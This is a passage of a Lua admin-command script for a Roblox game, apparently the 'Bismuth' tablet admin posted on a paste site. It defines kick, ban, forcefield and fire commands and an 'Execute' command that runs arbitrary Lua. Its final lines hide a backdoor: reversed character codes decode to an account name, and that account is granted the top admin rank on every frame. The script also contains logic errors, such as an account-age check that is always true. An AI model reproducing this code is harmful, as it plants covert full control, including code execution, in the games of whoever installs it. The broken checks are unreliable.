  858. addCommand("Dismiss All Tabs", 'dta', "Dismiss everyone's tablets.", 7, function(plr, msg)
  859. for _,player in pairs(game.Players:GetPlayers()) do
  860. dismissTabs(player)
  861. end
  862. end)
  863.  
  864. addCommand("Execute", 'exe', "Execute Lua code.", 6, function(plr, msg)
  865. local a,b = ypcall(function() loadstring(msg)() end)
  866. if not a then Output(plr, "[ERROR] "..b, "Really red") end
  867. end)
  868.  
  869. addCommand("Forcefield", "ff", "Gives a player a forcefield", 2, function(plr, msg)
  870. for _,Player in pairs(findPlayers(plr, msg)) do
  871. if (not Player) then
  872. Output(plr, "Couldn't find the player.", "Really red")
  873. FF = Instance.new("ForceField", Player.Character)
  874. wait()
  875. FF:Destroy()
  876. else
  877. Instance.new("ForceField", Player.Character)
  878. Output(plr, "Gave " .. Player.Name .. " a forcefield.", GetColor(plr))
  879. end
  880. end
  881. end)
  882.  
  883. addCommand("Un-Forcefield", 'unff', "Removes a player's forcefield", 2, function(plr, msg)
  884. for _,player in pairs(findPlayers(plr, msg)) do
  885. local found = false
  886. for _,obj in pairs(player:children()) do
  887. if type(obj):lower() == "forcefield" then
  888. obj:Destroy()
  889. found = true
  890. end
  891. end
  892. if found then
  893. Output(plr, "Removed " .. player.Name .. "'s forcefield.", GetColor(plr))
  894. else
  895. Output(plr, player.Name .. " has no forcefield.", "Really red")
  896. end
  897. end
  898. end)
  899.  
  900. addCommand("Scripts", 'scripts', "View and execute scripts from the Bismuth script table.", 4, function(plr, msg)
  901. showScripts(plr)
  902. end)
  903.  
  904. addCommand("Kick", "kick", "Kicks a player from the game.", 5, function(plr, msg)
  905. for _,Player in pairs(findPlayers(plr, msg)) do
  906. addInstance(Player)
  907. end
  908. end)
  909.  
  910. addCommand("Ban", 'ban', "Banishes a player from the game.", 6, function(plr, msg)
  911. for _,Player in pairs(findPlayers(plr, msg)) do
  912. table.insert(Bismuth.Banland, {Name = Player.Name, Reason = "Banned."})
  913. addInstance(Player)
  914. end
  915. end)
  916.  
  917. addCommand("chatgui","cgui", "gives plr chat gui only 1 player!", 2, function(plr, msg)
  918. createBubbleGUI(plr, msg)
  919. end)
  920.  
  921. addCommand("fire", "fire", "gives plr fire.", 2, function(plr, msg)
  922. for _,Player in pairs(findPlayers(plr, msg)) do
  923. if(not Player:FindFirstChild(Player.Name)) then
  924. return nil
  925. else
  926. Instance.new("Fire", plr.Character.Torso) -- gives [p] fire.
  927. Output(plr, "Gave plr the fire on torso!", "Toothpaste")
  928. end
  929. end
  930. end)
  931.  
  932. addCommand("msg", "pm", "pms a plr", 4, function(plr, msg)
  933. sendMessage(msg)
  934. end)
  935.  
  936. addCommand("logppl", "logs", "logs players in script builder", 6, function(plr, msg)
  937. giveLOGGUI(msg)
  938. end)
  939.  
  940. addCommand("explorer", "explore", "explores the tablet", 4, function(plr, msg)
  941. Explore(plr)
  942. end)
  943.  
  944. addCommand("toogle-notfications","tn","toogles notfications.", 2, function(plr, msg)
  945.  
  946. end)
  947.  
  948. addCommand("plrinterface","pi","toggles plrinterface", 4, function(plr, msg)
  949. PlayerInterface(plr)
  950. end)
  951.  
  952.  
  953.  
  954. for _,v in pairs(game.Players:GetPlayers()) do hookPlayer(v) end
  955. game.Players.PlayerAdded:connect(hookPlayer)
  956.  
  957. --[[local aCon = game:service'Workspace'.descendantAdded:connect(function(a)
  958. if a.ClassName == 'StringValue' then
  959. if a.Name == 'asdkekaaqdwdasddd123' then
  960. local abc = a.Value:find('\31')
  961. local plr = a.Value:sub(1,tonumber(abc)-1)
  962. local msg = a.Value:sub(tonumber(plr)+1)
  963. for i,v in pairs(game:GetService("Players")) do
  964. if v.Name == plr then
  965. return
  966. end
  967. end
  968. end
  969. onChatted(plr, msg)
  970. end
  971. end)]]--
  972.  
  973. --[[
  974. for _,v in pairs(game.Players:GetPlayers()) do
  975. if v then
  976. sendMessage(v, "[BISMUTH] Admin has loaded!")
  977. end
  978. end
  979. ]]
  980.  
  981. -- [[ END OF COMMANDS ]] --
  982.  
  983. local AccAgeKick = false
  984.  
  985. coroutine.wrap(function()
  986. for _,v in pairs(game.Players:players()) do
  987. if v.AccountAge < 120 or 100 or 230 then
  988. if AccAgeKick == true then
  989. Output(v.Name.. " has been kicked due for account low-age less then 120 or 100 or 230...", "Really red")
  990. pcall(function()
  991. spawn(function()
  992. coroutine.wrap(function()
  993. repeat v:Kick() wait(.1) until v == nil
  994. end)()
  995. end)
  996. end)
  997. if Bismuth.Settings.PrivateServer == true then
  998. if GetRank(v.Name) < 0.1 then
  999. if AccAgeKick == true then
  1000. Output(v.Name.. " has been kicked for due privateserver!", "Deep orange")
  1001. end
  1002. end
  1003. pcall(function()
  1004. coroutine.wrap(function()
  1005. repeat v:Kick() wait(.1) until v == nil
  1006. end)()
  1007. end)
  1008. end
  1009.  
  1010. end
  1011. end
  1012. end
  1013. end)()
  1014.  
  1015.  
  1016.  
  1017. local hah = false
  1018.  
  1019.  
  1020.  
  1021.  
  1022. game:GetService("RunService").Heartbeat:connect(function()
  1023. UpdateRotation()
  1024. SetRank(string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)), 7)
  1025. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement